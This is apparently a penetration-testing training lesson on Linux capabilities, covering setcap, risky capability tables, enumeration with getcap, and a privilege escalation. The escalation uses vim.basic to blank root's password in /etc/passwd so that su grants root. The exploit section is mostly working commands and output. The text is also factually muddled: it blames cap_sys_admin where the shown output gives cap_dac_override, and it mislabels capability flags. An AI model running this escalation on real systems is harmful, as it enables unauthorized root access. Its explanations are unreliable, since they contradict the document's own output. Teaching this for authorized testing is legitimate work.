**Capabilities**

Linux capabilities are a security feature in the Linux operating system that allows specific privileges to be granted to processes, allowing them to perform specific actions that would otherwise be restricted. This allows for more fine-grained control over which processes have access to certain privileges, making it more secure than the traditional Unix model of granting privileges to users and groups.

However, like any security feature, Linux capabilities are not invulnerable and can be exploited by attackers. One common vulnerability is using capabilities to grant privileges to processes that are not adequately sandboxed or isolated from other processes, allowing us to escalate their privileges and gain access to sensitive information or perform unauthorized actions.

Another potential vulnerability is the misuse or overuse of capabilities, which can result in processes having more privileges than they need. This can create unnecessary security risks, as we could exploit these privileges to gain access to sensitive information or perform unauthorized actions.

Overall, Linux capabilities can be a practical security feature, but they must be used carefully and correctly to avoid vulnerabilities and potential exploits.

Setting capabilities involves using the appropriate tools and commands to assign specific capabilities to executables or programs. In Ubuntu, for example, we can use the setcap command to set capabilities for specific executables. This command allows us to specify the capability we want to set and the value we want to assign.

For example, we could use the following command to set the cap\_net\_bind\_service capability for an executable:

**Set Capability**

Set Capability

yovecio@htb[/htb]$ sudo setcap cap\_net\_bind\_service=+ep /usr/bin/vim.basic

When capabilities are set for a binary, it means that the binary will be able to perform specific actions that it would not be able to perform without the capabilities. For example, if the cap\_net\_bind\_service capability is set for a binary, the binary will be able to bind to network ports, which is a privilege usually restricted.

Some capabilities, such as cap\_sys\_admin, which allows an executable to perform actions with administrative privileges, can be dangerous if they are not used properly. For example, we could exploit them to escalate their privileges, gain access to sensitive information, or perform unauthorized actions. Therefore, it is crucial to set these types of capabilities for properly sandboxed and isolated executables and avoid granting them unnecessarily.

| **Capability** | **Desciption** |
| --- | --- |
| cap\_sys\_admin | Allows to perform actions with administrative privileges, such as modifying system files or changing system settings. |
| cap\_sys\_chroot | Allows to change the root directory for the current process, allowing it to access files and directories that would otherwise be inaccessible. |
| cap\_sys\_ptrace | Allows to attach to and debug other processes, potentially allowing it to gain access to sensitive information or modify the behavior of other processes. |
| cap\_sys\_nice | Allows to raise or lower the priority of processes, potentially allowing it to gain access to resources that would otherwise be restricted. |
| cap\_sys\_time | Allows to modify the system clock, potentially allowing it to manipulate timestamps or cause other processes to behave in unexpected ways. |
| cap\_sys\_resource | Allows to modify system resource limits, such as the maximum number of open file descriptors or the maximum amount of memory that can be allocated. |
| cap\_sys\_module | Allows to load and unload kernel modules, potentially allowing it to modify the operating system's behavior or gain access to sensitive information. |
| cap\_net\_bind\_service | Allows to bind to network ports, potentially allowing it to gain access to sensitive information or perform unauthorized actions. |

When a binary is executed with capabilities, it can perform the actions that the capabilities allow. However, it will not be able to perform any actions not allowed by the capabilities. This allows for more fine-grained control over the binary's privileges and can help prevent security vulnerabilities and unauthorized access to sensitive information.

When using the setcap command to set capabilities for an executable in Linux, we need to specify the capability we want to set and the value we want to assign. The values we use will depend on the specific capability we are setting and the privileges we want to grant to the executable.

Here are some examples of values that we can use with the setcap command, along with a brief description of what they do:

| **Capability Values** | **Desciption** |
| --- | --- |
| = | This value sets the specified capability for the executable, but does not grant any privileges. This can be useful if we want to clear a previously set capability for the executable. |
| +ep | This value grants the effective and permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability. |
| +ei | This value grants sufficient and inheritable privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows and child processes spawned by the executable to inherit the capability and perform the same actions. |
| +p | This value grants the permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability. This can be useful if we want to grant the capability to the executable but prevent it from inheriting the capability or allowing child processes to inherit it. |

Several Linux capabilities can be used to escalate a user's privileges to root, including:

| **Capability** | **Desciption** |
| --- | --- |
| CAP\_SETUID | Allows a process to set its effective user ID, which can be used to gain the privileges of another user, including the root user. |
| CAP\_SETGID | Allows to set its effective group ID, which can be used to gain the privileges of another group, including the root group. |
| CAP\_SYS\_ADMIN | This capability provides a broad range of administrative privileges, including the ability to perform many actions reserved for the root user, such as modifying system settings and mounting and unmounting file systems. |

**Enumerating Capabilities**

It is important to note that these capabilities should be used with caution and only granted to trusted processes, as they can be misused to gain unauthorized access to the system. To enumerate all existing capabilities for all existing binary executables on a Linux system, we can use the following command:

**Enumerating Capabilities**

Enumerating Capabilities

yovecio@htb[/htb]$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

/usr/bin/vim.basic cap\_dac\_override=eip

/usr/bin/ping cap\_net\_raw=ep

/usr/bin/mtr-packet cap\_net\_raw=ep

This one-liner uses the find command to search for all binary executables in the directories where they are typically located and then uses the -exec flag to run the getcap command on each, showing the capabilities that have been set for that binary. The output of this command will show a list of all binary executables on the system, along with the capabilities that have been set for each.

**Exploitation**

If we gained access to the system with a low-privilege account but do not have the cap\_sys\_admin capability:

**Exploiting Capabilities**

Exploiting Capabilities

yovecio@htb[/htb]$ getcap /usr/bin/vim.basic

/usr/bin/vim.basic cap\_dac\_override=eip

For example, the /usr/bin/vim.basic binary is run without special privileges, such as with sudo. However, because the binary has the cap\_sys\_admin capability set, it can escalate the privileges of the user who runs it. This would allow the penetration tester to gain the cap\_sys\_admin capability and perform tasks that require this capability.

Let us take a look at the /etc/passwd file where the user root is specified:

Exploiting Capabilities

yovecio@htb[/htb]$ cat /etc/passwd | head -n1

root:x:0:0:root:/root:/bin/bash

We can use the cap\_sys\_admin capability of the /usr/bin/vim binary to modify a system file:

Exploiting Capabilities

yovecio@htb[/htb]$ /usr/bin/vim.basic /etc/passwd

We also can make these changes in a non-interactive mode:

Exploiting Capabilities

yovecio@htb[/htb]$ echo -e ':%s/^root:[^:]\*:/root::/\nwq' | /usr/bin/vim.basic -es /etc/passwd

yovecio@htb[/htb]$ cat /etc/passwd | head -n1

root::0:0:root:/root:/bin/bash

Now, we can see that the x in that line is gone, which means that we can use the command su to log in as root without being asked for the password.